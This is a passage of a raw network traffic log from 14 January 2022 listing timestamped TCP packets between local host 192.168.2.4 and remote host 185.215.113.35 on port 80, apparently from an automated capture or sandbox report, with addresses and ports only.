Jan 14, 2022 09:26:03.557360888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.557476997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.557583094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.557751894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.557768106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.557938099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.557955980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.558111906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.558126926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.558306932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.558326006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.558476925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.558492899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.558662891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.558681011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.558836937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.558851957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.559017897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.559036016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.559190035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.559205055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.559371948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.559389114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.559547901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.559566021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.559736013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.559752941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.559902906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.559919119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.560028076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.560172081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.560189009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.560348034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.560367107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.560533047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.560549974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.560714960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.560729980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.560889959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.560906887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.561072111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.561088085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.561249971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.561279058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.561422110 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.561439991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.561587095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.561602116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.561759949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.561777115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.561925888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.561942101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.562105894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.562123060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.562268972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.562283993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.562442064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.562459946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.562609911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.562625885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.562786102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.562803030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.562886000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.568063974 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.570755005 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.571578026 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.571609974 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.572082996 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.572500944 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.572530031 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.573136091 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.578609943 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.580616951 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.580677986 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.580732107 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.581535101 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.581588984 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.582604885 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.582639933 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.584060907 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.584692001 CET	49893	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.607459068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.607487917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.607592106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.607778072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.607799053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.607966900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.607985020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.608158112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.608175993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.608293056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.608442068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.608721972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.608738899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.608819008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.608830929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.609118938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.609136105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.609172106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.609180927 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.609354973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.609378099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.609539032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.609561920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.609642982 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.609688997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.609863997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.609879971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.609918118 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.609994888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.610155106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.610173941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.610336065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.610353947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.610506058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.610524893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.610698938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.610718966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.610876083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.610898018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.611011982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.611181021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.611201048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.611406088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.611423969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.611540079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.611555099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.611736059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.611752033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.611898899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.611926079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.612096071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.612112999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.612262964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.612282038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.612447977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.612466097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.612618923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.612634897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.612803936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.612821102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.612977982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.612994909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.613166094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.613183022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.613339901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.613357067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.613522053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.613538980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.613696098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.613713026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.613887072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.613905907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.614011049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.614185095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.614201069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.614358902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.614378929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.614566088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.614582062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.614721060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.614736080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.614916086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.614934921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.615084887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.615102053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.615284920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.615304947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.615444899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.615463018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.615680933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.615894079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.616173029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.616190910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.616586924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.616822958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.616841078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.617067099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.617084980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.617305040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.617328882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.617546082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.617561102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.617711067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.617728949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.617887020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.617902994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.617999077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.623004913 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.623034954 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.623061895 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.623102903 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.623133898 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.623163939 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.623191118 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.623218060 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.623245001 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.623270988 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.623296976 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.623322964 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.623347044 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.623373985 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.628598928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.628839016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.629029036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.629187107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.629336119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.629472971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.629738092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.629998922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.630016088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.630265951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.630392075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.630590916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.630697012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.630806923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.630964041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.631113052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.631170034 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.631536961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.631947994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.632394075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.632415056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.632798910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.632822037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.633045912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.633065939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.633281946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.633435965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.633824110 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.633841991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.634059906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.634078026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.634311914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.634326935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.634555101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.634572983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.634695053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.634924889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.634943008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.635174990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.635194063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.635421038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.635438919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.635680914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.635699034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.635912895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.635934114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.636172056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.636188984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.636411905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.636429071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.636661053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.636677027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.636938095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.636956930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.637186050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.637203932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.637428999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.637445927 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.637615919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.637845039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.637861967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.638029099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.638170958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.638186932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.638377905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.638396978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.638588905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.638603926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.638801098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.638827085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.638993979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.639002085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.639209032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.639228106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.639410019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.639431953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.639518976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.639693975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.639714956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.639883041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.639899969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.640062094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.640084028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.640238047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.640256882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.640428066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.640444994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.640614033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.640631914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.640795946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.640814066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.640984058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.641002893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.641161919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.641182899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.641354084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.641369104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.641532898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.641551971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.641711950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.641730070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.641892910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.641908884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.642106056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.642122030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.642261028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.642276049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.646287918 CET	80	49893	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.646507978 CET	49893	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.654189110 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.654611111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.654625893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.654844999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.655117989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.655138016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.655333996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.655348063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.655513048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.655529976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.655689955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.655704975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.655869007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.655886889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.656061888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.656075954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.656227112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.656241894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.656397104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.656410933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.656677008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.656692028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.656761885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.656773090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.656871080 CET	49893	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.656934977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.656946898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.657102108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.657119989 CET	49891	80	192.168.2.4	185.215.113.35
